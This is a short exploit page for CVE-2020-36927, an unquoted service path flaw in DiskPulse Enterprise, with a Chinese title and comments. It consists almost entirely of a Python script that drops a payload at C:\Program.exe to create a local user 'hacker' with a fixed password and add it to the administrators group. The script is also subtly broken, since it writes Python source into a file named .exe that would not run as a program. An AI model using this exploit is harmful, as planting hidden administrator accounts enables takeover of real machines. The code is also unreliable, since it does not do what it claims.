CVE-2020-36927 DiskPulse Enterprise 未引用服务路径权限提升漏洞

# PoC for CVE-2020-36927 # Unquoted Service Path Privilege Escalation import os import sys def create_malicious_executable(): # 恶意可执行文件生成逻辑 malicious_code = ''' import os import sys def escalate_privileges(): # 权限提升逻辑 try: os.system('cmd /c net user hacker Password123! /add') os.system('cmd /c net localgroup administrators hacker /add') print('[+] Privilege escalation successful') except Exception as e: print(f'[-] Error: {e}') if __name__ == '__main__': escalate_privileges() ''' with open('C:\\Program.exe', 'w') as f: f.write(malicious_code) print('[+] Malicious executable created at C:\\Program.exe') if __name__ == '__main__': create_malicious_executable()